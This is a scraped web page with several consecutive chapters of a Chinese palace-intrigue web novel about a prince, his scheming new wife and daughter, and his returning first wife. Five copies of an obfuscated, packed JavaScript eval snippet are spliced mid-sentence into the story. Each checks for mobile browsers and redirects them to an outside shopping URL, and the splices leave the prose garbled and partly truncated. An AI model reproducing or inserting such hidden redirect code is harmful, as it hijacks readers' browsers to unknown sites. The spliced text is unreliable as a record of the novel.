“爹爹答应筱筱,等找到你娘亲了,就让你娘亲回来陪你,好不好?到时候筱筱自己一个院子,想爹了就跟娘亲一起去看爹。” 听了顾时的话,顾筱筱总算收住了眼泪鼻涕,她打着哭嗝朝他伸出小尾指,“那爹爹你跟我拉钩。” 刚才的一顿轻哄,早已让顾时的耐性告罄。 奈何想到后面肯呢个还需要女儿才能找回沈慕兮,他硬是耐着性子跟顾筱筱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287824|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉了勾。 顾筱筱的脸上立刻绽开一抹如花笑靥。 而此时,顾时想的却是——哄好了顾筱筱,等会应该要怎么哄好苏柳溪母女。 在顾筱筱的要求下。 顾时很快就给她定下了新住处——碧水苑。 从顾筱筱回来,顾时的表现就格外上心。 所以下人们半点不敢怠慢。 在顾时出门的时候,顾筱筱基本上已经安顿好了。 碧水苑。 因为顾筱筱的听不见声音,说话咬字也不清晰。 下人们本着少做少错的心思,也不怎么主动上前。 房内。 顾筱筱小心张望了几眼外头,“不会有人偷听吧。” 字正腔圆,完全没有再顾时面前那种咬字不清的情况。 小丫鬟——贺月笑着安慰,“小姐,不用担心,奴婢的耳力好着呢,有人靠近,奴婢会知道的。” 顾筱筱 这才放心下来,一改刚才的怯懦模样。 “月姐姐,娘亲到底什么时候回来?才几天没见,筱筱就已经很想她了。” 小丫鬟怜爱地摸了摸她的脑袋,“快了,小小姐就按照今天这样,只要有人欺负你,你就找王爷告状,对方哭,你比她哭得更大声。” 顾筱筱乖乖点头,“筱筱一定不会再被别人欺负,让娘亲担心的。” “奴婢也知道委屈你了,很快,咱们就可以离开了。” “离开了就可以跟娘亲一直在一起吗?” “对,一直在一起。” 得到了贺月肯定的答复,顾筱筱的小脸再次漾开了笑容。 顾筱筱入住碧水苑的消息很快就传回了落霞苑。 苏柳溪气得接连砸碎了好几个花瓶。 那本来应该是她以后孩儿的住处。 “那个小贱人何德何能?” 似是不解气,她想把火气发到虞悦希身上,转眼看到虞悦希才被包扎好的手,她硬是把那道火气咽了回去。 “不过才几个月没见,居然还学会在我面前耍心眼子了?” 第106章 我能弄死她娘亲,自然也能弄死她 苏柳溪不怕顾筱筱耍心眼子。 一个死了娘的孤女,再怎么翻也翻不出浪花。 她现在好奇的是,在她背后的人,到底有什么阴谋。 前些天,顾时对她起疑,若不是她发现早,及时化解了顾时的疑心,只怕现在她母女二人早已被顾时防备。 而那个极有可能调换顾筱筱尸体的、名唤王英的侍卫,她也已经遣人细查过。 顾筱筱被勒死的那天,王英被顾时外派去办事,根本不在京城。 换言之,背后还有其他人,在保护顾筱筱 会是谁呢? 沈慕兮的故友? 苏柳溪越想,心里越是沉甸甸的。 “娘亲,那个小贱人现在学得这么精,背后肯定有其他人在指点。” 虞悦希的声音拉回了苏柳溪的思绪。 小小年纪,脸上是与年龄极为不相符的恶毒与成熟,“要是让我知道那个背后指点的人是谁,我定要将她剁碎了喂天狼。” 她的有恃无恐,让苏柳溪莫名有了底气。 “不管谁指点的她,咱们能让她失踪第一次,难不成还失踪不了第二次?” 回想半年前,沈慕兮被她哄骗出去踩伤了腿回来又被罚跪祠堂抄经书那件事过去没多久之后。 虞悦希用一根糖葫芦就能将顾筱筱哄出去。 沈慕兮发了疯似地找女儿,最后找到了顾时头上。 那时候顾时对于母女二人还是有感情跟责任心在,听到沈慕兮的话,二话不说就要找人。 最后,顾筱筱自然没丢,不仅没丢,还好好地在院子里吃各种小点心。 顾时却因为跟沈慕兮一起寻找顾筱筱,耽误了公务,被弹劾。 有了第一次沈慕兮“害得”她差点被调戏。 再有第二次沈慕兮故意“没事找事”。 在顾时眼里,沈慕兮变成了一个为达目的不择手段的心机女人。 但是,顾时对沈慕兮依旧有那么一点责任心。 于是,她故技重施,着人将顾筱筱引去池塘边,让沈慕兮知道她会对顾筱筱不利,让她发狂。 等她精神快要崩溃惊动了顾时跟老王妃以后,她让顾筱筱全须全尾地出现在所有人面前 如是几次,顾时以为女儿是沈慕兮用来争宠的工具,对她们母女二人逐渐失了耐心 最后连听到名字都厌烦 过去的战绩让苏柳溪愈发笃定沉稳。 她伸手扶腰,眼底浮现的是上位者对蝼蚁轻视的目光。 “即使那个小贱人活着回来又如何?我能弄死她娘亲,自然也能弄死她。” 翌日。 得知顾时一早去了碧水苑。 苏柳溪一大早就授意下人催促虞悦希去碧水苑。 吩咐下人用食盒装上两块隔夜糕点跟一串没了外层糖块、发黑得不能吃的糖葫芦就要出发前往碧水苑。 临出发之前,被苏柳溪安排在虞悦希身边照顾虞悦希的辛婆子看了一眼食盒里的食物,忍不住皱眉提醒,“小姐,这样不好吧。” 连他们这些做奴才都知道,上门送变质的食物对旁人是羞辱。 更别说是王府这种高门 但凡有点教养,都做不出这种事情。 虞悦希最讨厌旁人给她说教。 尤其是奴才。 她反手一巴掌甩到辛婆子脸上,娇声怒骂,“你这老奴才,我娘将你遣来是照顾我,而不是对我指手画脚。” 虞悦希的娇蛮恶毒,几乎整个落霞苑的人都知道。 只是在苏柳溪的敲打下,没人敢泄露半个字罢了。 如今看到她发脾气,辛婆子连忙低头认错。 “是老奴多嘴了。” 虞悦希眼底闪过一抹阴狠,趁着辛婆子低头求饶,用力扯下了辛婆子耳朵上的银耳圈。 谁都没想到她突然来这么一招,辛婆子躲避不及,银耳圈被生生扯了下来,耳垂撕裂,鲜血淋漓。 钻心的疼痛传来,她本能地伸手想要捂住受伤的耳朵。 前额传来一阵钝痛,紧接着一阵天旋地转。 她重重倒在地上。 被扯掉的银耳圈同时砸在她的身上。 “这是给你的教训,晦气东西。 别一大早来碍我的眼。” 虞悦希生气,其他下人不敢上前扶起辛婆子。 辛婆子倒在地上看着那个众星捧月离去的娇小背影,通红的眸子里迸发出浓烈的恨意。 碧水苑外。 虞悦希遣退了所有跟着她的下人,接过丫鬟小红手上食盒的时候还不忘威胁一番。 “今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287825|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天的事情,要是我听到泄露出去一个字,后果你们是知道的。” 那个“事情”,明显就是特指刚才她对辛婆子的暴行。 在落霞苑,不管是多得脸的下人,都逃不过被虞悦希凌虐。 只是在于次数多还是少。 所有人都习以为常。 饶是这样,小红还是白了脸,“是。” 小红的畏畏缩缩,给了虞悦希极大的满足感。 一刻钟后。 “筱筱妹妹。” 虞悦希提着食盒一路飞奔进了碧水 苑,未见其人先闻其声,笑容单纯又无害。 顾时特地过来陪顾筱筱用早膳。 没想到虞悦希会这么懂事,在昨天受了委屈还没来得及等他哄好的情况下,一大早就来跟妹妹培养感情。 他对虞悦希的愧疚又多了几分。 “悦悦这么早?可用了早膳?” 他和颜悦色地问了一句。 虞悦希看着顾筱筱餐桌上的精致早点,又想起苏柳溪之前说她吃得太多,长胖了会很难看,这些天一直让她只吃水煮鸡蛋跟水煮青菜控制体重。 心中对顾筱筱的嫉恨又多了几分。 她握着食盒手柄的手因为用力,青筋都凸出来了。 面上却对顾时绽开了一抹天真无邪的笑意。 “顾叔叔早,我来找筱筱妹妹玩,我还给她带了糖葫芦跟栗子糕。” 说着,她献宝似的将食盒放到桌子上,打开食盒。 精美大气的瓷盘上,孤独地躺着两块看上去硬邦邦的糕点跟一串发黑的糖葫芦。 顾时忽然想起,虞悦希刚刚住进王府那会,也是这样小心翼翼地捧着自己舍不得吃掉的糕点,守在他回府的必经之路 他顿时心软得一塌糊涂,“你这孩子,肯定又没好好吃东西把自己觉得好的东西都留给妹妹了吧。” 就在顾时吩咐下人要添一双碗筷的时候,顾筱筱睁着澄澈无邪的大眼睛,看了一眼虞悦希食盒里的东西,凑到顾时耳边小声道,“爹爹,王府是亏待悦悦姐姐了吗?这点东西,筱筱感觉自己吃完都没力气走回房间,而且” 说到这里,顾筱筱还忍不住用食指跟拇指捏起了串着糖葫芦的疙瘩,“姐姐的糖葫芦表面的糖疙瘩都不见了,真的不是姐姐吃剩下拿过来的吗?” 第107章 埋雷 顾时微微一怔。 以前一直没人跟他说过这个问题。 如今顾筱筱这么一说,他倒也开始想起了一些细节——之前悦悦那给他的糕点,都是新鲜的 不等顾时细想,按绝不??的虞悦希眼眶倏地红了,“对不起,筱筱妹妹,我我是看到你回来太高兴” “姐姐不用怕,”不等虞悦希把话说完,顾筱筱主动走到虞悦希面前,用笨拙的左手牵起了虞悦希的手,“要是你遇到危险,告诉爹爹,爹爹会帮姐姐的。” 眼前小姑娘说话的咬字发音变了调,却还是一本正经地表明了自己的立场。 从头到尾,她都没有对虞悦希有过半句为难。 如此一来,倒是显得虞悦希拿着东西前来的行为有些小家子气了。 再加上两人模样对比,一个白白胖胖,另一个却面黄肌瘦的。 面黄肌瘦的还要手忙脚乱地安慰白白胖胖的那个,场景怎么看怎么别扭怪异。 心中有数这是虞悦希的恶作剧,而顾筱筱才刚找回来,他也不想因为这点小事给姐妹二人造成误会,只好笑着打圆场,“好了,都是自家姐妹,你们能和睦相处,爹爹就开心了。” 说完,他吩咐下人加了碗筷。 顾筱筱偷偷瞄了顾时两眼。 后者只是保持慈父的微笑在脸上,半句没有再提虞悦希刚才做的事情。 她眼底闪过一抹失落,很快又恢复如常。 顾筱筱吃得十分小心。 再看虞悦希,才坐下没多久,腮帮子塞得鼓鼓的。 以往看到虞悦希这样吃,顾时只觉得那是小女孩独有的娇羞可爱。 可一想到,自己女儿这些天在外头吃尽苦头,喉咙还未完全痊愈,连吃东西都不能像其他孩子一样大快朵颐。 而虞悦希先是拿一些变质的食物来恶作剧捉弄筱筱在先,现在还能若无其事地大口大口吃东西 第一次。 他竟有点心烦。 抬手给顾筱筱舀了一碗燕窝羹。 “慢慢吃,尽量多吃,长身体。” 顾筱筱受宠若惊,“爹爹” 顾时怜爱地摸了摸她的脑袋,“你这些天受苦了。” 抬头对上顾时微微湿润的眼眶,她板起小脸一本正经地开口,“筱筱不怕苦。” 看到女儿这般懂事乖巧,顾时心里又多了几分疼惜,“以后跟着爹爹,爹爹不会再让你受苦了。” 在一旁伺候着的贺月早已将几人的互动收入眼底。 看到顾时突如其来对顾筱筱的关爱,她忍不住翻了个白眼。 作保证跟放屁似的,说的话能信一成都是抬举。 虞悦希的腮帮子都快要撑破了,等了半天没等到顾时像以往一样关爱地叫她一句“小馋猫”,忍不住抬头看向顾时。 刚好看到顾时一脸疼爱地看着顾筱筱,她的眼底瞬间闪过嫉妒,连面目都带着狰狞。 可是想到顾时还在,她努力想要换上一副懂事的模样,奈何嘴巴塞着太多东西,她想要放松的表情看上去更加狰狞了。 一顿早饭,在虞悦希便秘式的板起脸时候结束了。 期间,顾时被陈十六以公务理由前来叫走了。 临走之前,连半点眼神都没有分给她。 她不明白,为什么自己以往能够轻易得到顾时注意的杀手锏,此时竟然没了用处? 转念一想。 如今顾时爹爹不过只是被顾筱筱这副可怜模样欺骗罢了。 不过没关系,只要等她跟娘亲一起出手,一切问题都很快就可以迎刃而解了。 想到这里,虞悦希脸上多了几分笑容,在顾筱筱准备带着丫鬟离开饭厅回屋之际,她一把拉住了顾筱筱的手。 “筱筱妹妹,我听说梧桐巷子后开了一家很好吃的豆糕,要不我们今天去尝尝?” 边上还有其他下人,顾筱筱不好明面跟虞悦希撕破脸皮。 贺月笑着上前,“悦悦小姐,我们小姐现在还不能吃那些噎嗓子的东西。” “没关系,权当是外出去散散心也好,”虞悦希不死心地拉着顾筱筱的手,“今日阳光明媚,适合外出。” 贺月连连反对,“使不得啊,虽说现在才刚开春”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287826|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 虞悦希倏地板起了脸,“主子说话,有你个下人插什么嘴?” 她是铁了心要带顾筱筱出门。 贺月做出害怕模样,低头退下。 没有了贺月在一旁阻拦,顾筱筱脸上为难只维持了片刻,便乖乖顺着虞悦希的意思与她一同外出了。 与此同时。 裴府来了一个所有人都意想不到的人。 “是你执意要见本官?” 裴望皱眉看着眼前约莫十七八岁的年轻姑娘。 从昨天开始,这个女子就一直锲而不舍地在门外求见。 不管如何驱赶,都赶不走。 万般无奈,下人只好征求裴望的意见。 裴望以为是自己手上案子有新的进展,来人是自己的暗桩,便见了。 没想到确实一张陌生的面目。 年轻姑娘——沈慕兮没有废话,直接开门见山,“裴大人,我们来谈个合作,如 何?” 半个时辰后。 沈慕兮心满意足地从裴府离开。 拐进暗巷之时,一个身穿粗布的男人从她身边经过。 “来了。” 沈慕兮脚步微顿,“那就好好招呼。” 身穿粗布的男人微微点头,很快消失在人海中。 沈慕兮回到了马车。 疲惫地揉了揉太阳穴。 从一个月之前回到这里,她的神经几乎都在紧绷之中度过。 所幸,给顾时和苏柳溪的雷已经埋得差不多了,接下来,她也准备要登台了。 思忖间,马车一沉。 沈慕兮睁眼看到红豆进了马车,在她耳边小声低语。 等红豆说完,沈慕兮眼底闪过一抹精光。 “送上来的把柄,为什么不要?” 红豆垂眸,“奴婢也是这么觉得,若是细查那对母女,定能查出更多东西。” 沈慕兮吩咐,“给那个婆子一些银子,告诉她,我们的人会护着她的孙子,但是,前提是,她要把知道的一切,都如实告知。” “是。” 第108章 虞悦希不见了踪迹 傍晚时分。 顾时忙了一天回府。 沿途看到了珍宝阁还在排起长龙,店门口还围了许多人,不由得好奇问随轿的陈十六。 “这珍宝阁今日可是发生了什么大事?” “属下去打听一番。” 说完,陈十六很快就挤进去了人群。 顾时特地让轿夫减慢速度。 不多时,陈十六回来了。 “是珍宝阁换了老板,以往只能达官贵人才买得起的金银首饰,如今搬到二楼三楼,一楼大多是瓷簪、木簪一类的小首饰,全场两文钱,每天数量有限,一人一件,听说,有人用两文钱买了那个什么‘盲盒’,‘盲盒’一开,是一块上好的羊脂白玉无事牌,买主转手卖出去,白得了十几两,这不,现在那些人得了空闲的人就去凑热闹了。” 说着,陈十六给顾时递了一枚模样像宝剑、表面光滑的黑色卵石。 顾时接过,“这就是那些货品?” 陈十六点头,“这是属下花了半两银子从一个大娘手上买过来的。” 卵石不过只是成人拇指大小,在顾时接过来的那一刻,他仿佛闻到了淡淡的清香。 他忽然想起了沈慕兮。 曾经,他问过她有什么梦想。 她说,“一个铺子,两心相印,三餐四季。” 那时的她才来到这个世界不过半年。 整个人看上去鲜活得仿佛眼睛里聚着一团火。 “若是我以后开铺子,定要开一个价格均一的两文铺子,什么稀奇少见的玩意都要摆在上头,然后你支个小摊负责给人写家书画字画,我就在你的字画摊旁把看着你。” 她毫不吝啬地对他表示了自己的想法。 那一天的夕阳很红,染红了顾时的脸颊和耳根。 头一次,他在看到沈慕兮的时候没有响起苏柳溪。 为了掩饰自己的心虚,他抬手不轻不重地敲了她的脑袋一下,“卖两文钱,你能赚什么?” 她理所应当地叉腰,气呼呼地反驳,“我既然能卖两文钱,自然有我的赚头,再说了,我还会磨印泥,做墨条,各种包子点心不在话下,难道你还担心我养不活你了?” 顾时难得沉默了。 养他自然是没问题。 按照她所说,她会的那些技艺所带来的财富,对于老百姓来说,简直就是发家致富的存在 然而。 她既然要养他,那就不能只是养他,他不是孤身一人,他身后还有一大家子。 他们一家子不是习惯普通粗茶淡饭的平头百姓,而是过惯了锦衣玉食生活的高门贵胄 那时他被母妃的骄纵逼得几乎要崩溃。 满脑子都想着,要是多一个人帮他分担就好了。 那天之后,他仿佛看到了救星,顺理成章地接受了沈慕兮的爱慕,理所当然地接受了她的好,偶尔给她施舍一点感情 为了贴补生计。 成亲第一年,沈慕兮就挺着已经显怀的肚子在夏日下塘折荷叶采藕丝,冬日还未出月子便背着女儿走街串巷卖馒头包子 尚在丹阳的时候,沈慕兮还没觉得有什么。 在丹阳回来的时候,他甚至已经忘了这些年沈慕兮是怎么跟着他熬过来的。 可今日 在看到这个小店的时候,过去那些模糊的记忆突然清晰了起来 他心烦意乱地将卵石往袖袋一塞,“回。” “是。” 暮色四合。 顾时才刚到主院,连晚膳都还未来得及用,苏柳溪已经红着眼眶迎了上来。 “顾时哥。” 顾时心虚地把放了卵石的手往身后一背,温和开口,“怎么了?” “筱筱跟悦悦两人今日一早出去了,不知道发生了什么事,到现在都还未回来。” 顾时脸色微变,当即找来了新管家秦寿。 秦寿今年已年近不惑,看上去憨厚,实际为人圆滑。 听到顾时召见,心中大概有了数。 不等顾时开口,他先开口了,“王爷,筱筱小姐晌午时分就回来了,这会应该碧水苑在用过晚膳了。” “筱筱回来了,悦悦呢?” “这老奴没见到悦悦小姐,听筱筱小姐说,好像是悦悦小姐遇到一个什么长辈,让她提前回来了。” “一个小丫头片子说什么就是什么,你们都不遣人去找嘛?没看到王妃急成什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287827|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样了?” 看到顾时发火,秦寿连忙应道,“老奴已经遣了人去找了,只是找的人还未回” “未回就继续遣人去找,那么大一个人,难道还要我教你做事?” “老奴这就去,这就去。” 秦寿急忙退下,因为步伐急促,他走路的时候,还趔趄了一下。 苏柳溪顺势倒在顾时怀里,哭得梨花带雨,“悦悦这么疼爱妹妹,要是筱筱回来了,她肯定也会回来的。 可筱筱回来都大半天了,悦悦还不见了人影。 要是悦悦有什么事,可让我怎么办?” 她的声音带着鼻音,显然是哭了许久。 顾时的心都要化了,也顾不上自己还未用晚膳,温柔安慰。 “好了,莫哭,等我去问问筱筱,今日到底是怎么回事?” 说完,他松开了苏柳溪就要往外走。 苏柳溪连忙拉住了他,“孩子可能也不知道发生什么事,你这样怒气冲冲去质问,会吓到她的。” 顾时心疼地抬手拭去苏柳溪脸上的泪痕,“你让我说你什么好?自己女儿都不见了踪影,还担心另外一个孩子会不会被吓到,你怎么可以这么善良?” 苏柳溪再次顺势抱着顾时,柔柔弱弱地哭了起来。 碧水苑。 顾筱筱用过晚膳,正在将楠木珠子串在一起。 贺月不明所以地看着她,“小姐,你串这个做什么?” 顾筱筱手指灵活,很快将楠木珠子穿成一串递给贺月打结。 “景叔叔告诉我的,说给爹爹送一串珠子,有用。” 说话的还是,她还狡黠地眨了眨眼。 贺月当场倒吸了一口凉气,“你什么时候见过殿下?不,不对,殿下什么时候来北宸了?” 顾筱筱撅着小嘴,“这是我跟景叔叔之间的秘密。” 她说得娇俏,贺月却觉得,天塌了。 殿下来了,姑娘知道吗? 不等她细想,苑外传来杂乱的脚步声,她连忙把楠木珠串打好结,塞回顾筱筱手,安分地退后到一边,做一个没见过世面的乡下小丫鬟。 几乎就在同时,顾时带着几个下人气势汹汹地踏入院子。 第109章 历史重演 顾时身边,还跟着红着眼的苏柳溪。 顾筱筱假装看不到苏柳溪,看向顾时露出了惊喜的笑容,“爹爹,你来啦?” 她一路小跑到顾时面前,脸上还挂着笑。 刚准备为顾时戴上手串,却被顾时一把握住了手腕。 他一脸严肃地质问她,“悦悦呢?” “爹爹,筱筱手疼”顾筱筱充耳不闻,做好了自己聋子的本分。 顾时不顾她的挣扎,手上力度又大了几分,“你把悦悦藏到哪去了?” 几个月前被顾时扯脱臼的阴影袭来,顾筱筱只觉得右手又像是要被扯断一般,她一脸惊恐地看向顾时,眼眶倏地红了。 “爹爹,筱筱手疼” 苏柳溪假惺惺上前劝解,“别这么凶对孩子,会吓到她的。” 看着苏柳溪如今已经伤心成这样还要反过来为顾筱筱说话,顾时愈发觉得顾筱筱不懂事。 前一刻还紧紧抓着顾筱筱的手,下一刻将顾筱筱的手用力甩开。 “你看看你,才回来多久,就捅出这么大的篓子,跟姐姐出去,居然可以把姐姐弄丢了回来。” 顾筱筱哭着摇头想要握上顾时的手,却被顾时反手拨开,“别碰我。” “爹爹,我不知道你在说什么” 听着她的哭声,顾时本来烦躁的心又多了几分烦乱,“本来我还想着你回来学乖了,现在看来,你就是死性不改,趁着我不在,你又为难你姐姐了是不是?” 贺月看不下去,担心顾筱筱情急之下会露馅,连忙上前帮腔,“王爷,您误会小姐了,是悦悦小姐” “这里什么时候轮到你个下人说话了?来人,将这个丫鬟拖下去乱棍打死。” 跟在顾时身后的小厮迅速制住了贺月。 眼看就要将贺月退下去,顾筱筱也顾不得手串没有亲自给顾时戴上,连忙拦下了拖着贺月往外走的小厮。 “我不许你们动我的人。” 她哭得撕心裂肺。 仿佛回到了几个月前,自己被虞悦希欺负,顾时不分青红皂白扯脱臼她的手,还要打死她身边的安嬷嬷跟拴娣姐姐 顾筱筱把心一横,直接冲到顾时面前,“你要打死她,干脆把我一起也打死也好了。 反正在你心里只有坏姐姐一个女儿,筱筱不是你的女儿,你打死了筱筱,筱筱也可以去找娘亲。” “死”字现在在顾时这里是十分敏感的存在。 尤其是听到顾筱筱说的打死了她就可以跟沈慕兮存在,更是像一根尖细的针刺在他的心窝上,尖锐的疼痛瞬间蔓延至他的全身。 他略显慌乱地抬手阻止了小厮的动作。 顾筱筱趁机将贺月拖回来护在自己身后。 “既然你不喜欢我,为什么还要找我回来?悦悦姐姐说过,娘亲已经死了,要让我去陪娘亲,我当时就应该去陪娘亲” “什么?”在顾筱筱提到沈慕兮已经死了的那一刻,顾时的心突然像是被一只大手狠狠攥了一下,痛得他差点晕过去。 他震惊地看着顾筱筱,第一反应就是自己听错了。 苏柳溪连忙开口打圆场,“小孩子发脾气口不择言” 顾时像是没听到苏柳溪的话,抬手拨开了她,掰正了顾筱筱的小身子与她对视,“谁跟你说你娘亲死了?” 就在苏柳溪急忙想要打算顾筱筱说话的时候,秦寿急匆匆地带着虞悦希以及她身边的丫鬟小红回来了,“找到悦悦小姐了,原来今日悦悦小姐是碰到了舅老爷,所以才让筱筱小姐先回府。” 苏柳溪脸上微微一僵。 “舅老爷?” 她面上疑惑,心里早已乱成找不到头的麻绳。 他怎么回来了? 他回来做什么? 不对,他不是去丹阳了吗?为什么回来了也不通知她? 没来得及给她细想的时间,顾时的声音将她拉回了现实。 “你今日带妹妹出门,怎么让妹妹先回来了?” 他的声音和善,全然没有对顾筱筱的不耐烦。 虞悦希衣着整齐,发间还多了一朵精致漂亮且一看就价值不菲的珠花。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287828|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一看就是今日外出新买的。 而且还是一个财力不错的人给她买的。 确定虞悦希没有受伤害,顾时悬着的心总算放回肚子里。 似是害怕顾时会追究自己今日没在府上的真相,虞悦希委屈地啜泣了几声,小脸挂着泪花,眼泪要掉不掉,“爹爹,是悦悦调皮” 说话的时候,她的目光有意无意扫向顾筱筱。 那熟悉的眼神 又想倒打一耙。 顾筱筱眼底闪过一抹冷光。 先发制人地嚎哭起来。 “我就知道,爹爹又是为了悦悦姐姐对筱筱发脾气,筱筱讨厌爹爹。” 说完,顾筱筱将手上珠串砸在顾时身上,哭着跑开了。 “筱筱筱” 顾时想要去追顾筱筱,奈何虞悦希像是挂在他的手上一样,拉着他。 回眸有看到苏柳溪一脸隐忍地无声抹泪。 他只好先安抚眼前的两人。 “好了,不要哭了,告诉爹爹,今天发生了什么 事?” 虞悦希的眼神瑟缩了一下,“我我今日遇到舅舅了。” 苏柳溪抹眼泪的手一顿,“悦悦,你是不是被吓到了,老实告诉娘亲,不怕的。” 站在顾时身后,她看向虞悦希的目光凌厉,语气却格外温柔。 虞悦希对上她的眼神,小小的身子又往顾时身边贴了贴。 顾时莫名心烦,“好了,回来就好了,既然是勇弟将人带走,改日我让人跟勇弟说一声,让人别那么晚回来。” 苏柳溪还想再说些什么,顾时已经不耐烦地打断。 “秦管家。” 秦寿跟在身后抹了一把冷汗,“王爷。” “王妃跟小姐都累了,带他们回去休息吧。” 苏柳溪不死心地看向顾时,后者连一个眼神都没分给她,她只好瞪了一眼虞悦希。 刚好对上虞悦希还未来得及散去惊恐的眼神。 她心中一悚,顿时觉得事情似乎没有她看到的那么简单。 第110章 沈慕兮在京都 “今天到底发生了什么事?” 才踏入落霞苑,苏柳溪迫不及待地询问虞悦希。 虞悦希惊恐地看了一眼周围的下人。 苏柳溪会意,朝下人挥手,“你们先退下。” 很快,屋里只剩下虞悦希跟苏柳溪二人。 虞悦希这时才放声大哭道,“娘亲,那个小贱人,是回来报仇的。” 苏柳溪立刻伸手捂住了虞悦希的嘴。 “到底是怎么了?” 虞悦希此时眼底再次覆上惊恐。 “我我好像看到那个老贱人了。” 因为害怕,她的声音陡然拔高了许多。 苏柳溪心头一紧,再次捂住了她的嘴,“要是再话多,你的舌头别要了。” 虞悦希这才收住了声音,颤抖的身子出卖了她此时的害怕。 苏柳溪的神色也好不了多少,她松开了捂住虞悦希的手时,前额已经开始沁出汗珠。 没有人比她更清楚,沈慕兮的死状,连那张剥下来的脸皮都被一把火烧了,怎么可能还会出现? 对。 已经死透了的人,怎么可能会出现呢? “一定是你看错了。” 她喃喃自语,似是在安抚虞悦希,又像是在安慰自己。 “没有看错,娘,那个老贱人” 像是想起了什么可怕的事情,虞悦希一把将头上的珠花薅了下来,“这朵珠花,也是她亲自戴在我头上的。” 虞悦希的话像是一道惊雷落下,吓得苏柳溪差点站立不稳。 “什么?!” 书房。 一串打磨粗糙的楠木手串正安静地躺在顾时的书案上。 这是他刚才离开碧水苑的时候踩到的。 听碧水苑的下人说,这是顾筱筱今日外出给他买的珠子,一颗一颗串起来让她身边的小丫鬟帮忙打结的 想起自己刚才在碧水苑似乎是真的冲动了 顾时迟疑了一下,最终还是将这串粗糙的楠木手串戴在手上。 “笃笃——” 门外传来轻敲声。 陈十六拿着一封密信进来了。 “爷,有消息了。” 顾时眼眸微亮,结果了陈十六递过来的密信。 展信看完信上内容后,他脸上的神色一下子从最开始的漫不经心,逐渐变得紧张,最后连拿信的手都在颤抖了。 他的神色复杂且纠结,最后竟还带着一丝窃喜。 “果然,女儿在,你就会出现” 陈十六不明所以地开口问道,“爷,可是有那位的消息?” 顾时这时才发现身边还有人。 他立刻板起脸,“若是这两天,有人前来寻小小姐,让那个人先来见本文。” 连他自己也说不清道不明,现在心里到底是什么感觉。 只知自己无比想要见到沈慕兮。 亲口质问她:为何要将事情闹到如此地步? 心中质问欲望太强烈,他竟直接带着怒气将话问了出来。 陈十六连忙跪地,“王爷属属下不知做错了什么?闹出了什么大事?还望王爷恕罪?” 顾时尚未来得及敛去的怒意僵在脸上,一时之间,书房陷入了一阵尴尬的沉默。 他连忙清了清嗓子,“起来吧。” 陈十六起来的时候无意间瞄到了顾时放在书案上的信笺的消息,忍不住问道,“王爷,你这是在担心她?” 陈十六想提沈慕兮,可一时之间,却不知道用什么理由。 早在三个月前,王爷已经对外宣称,没有丹阳那个人 在大婚之前,他还进宫跟圣上请罪,圣上仁慈,仅仅只是罚俸半年便没有再提及此事 如今他对沈慕兮的过分关心,让他瞬间有了危机感,恨不得立刻长翅膀飞去苏柳溪身边跟苏柳溪报信 奈何前些天开始,他已经感觉到王爷似乎没那么信任他 思前想后,他试探性地朝顾时开口,“王爷,其实属下老家一直有一种说法。” 顾时的注意力还在刚才的那封密信上,尤其是信中“京都”二字格外明显。 “什么说法?” “若是家中妻儿太让自己操心,那多半是你上辈子欠了她们,这辈子,她们寻你讨债的。” “放肆。” 顾时像是被踩到了尾巴的猫,立刻原地站起来。 “谁允许你这般胡言乱语?”

